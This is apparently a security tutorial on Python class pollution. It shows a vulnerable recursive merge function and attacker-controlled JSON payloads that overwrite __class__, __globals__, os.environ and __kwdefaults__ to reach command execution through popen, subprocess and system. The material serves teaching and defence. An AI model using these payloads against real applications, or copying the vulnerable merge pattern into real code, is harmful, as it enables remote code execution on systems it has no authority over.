# Class Pollution (Python's Prototype Pollution)
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## Basic Example
Check how is possible to pollute classes of objects with strings:
```python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
```
## Basic Vulnerability Example
```python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```
## Gadget Examples
Creating class property default value to RCE (subprocess)
```python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
```
Polluting other classes and global vars through globals
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #>
```
Arbitrary subprocess execution
```python
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
```
Overwritting __kwdefaults__
**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
```
## References
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
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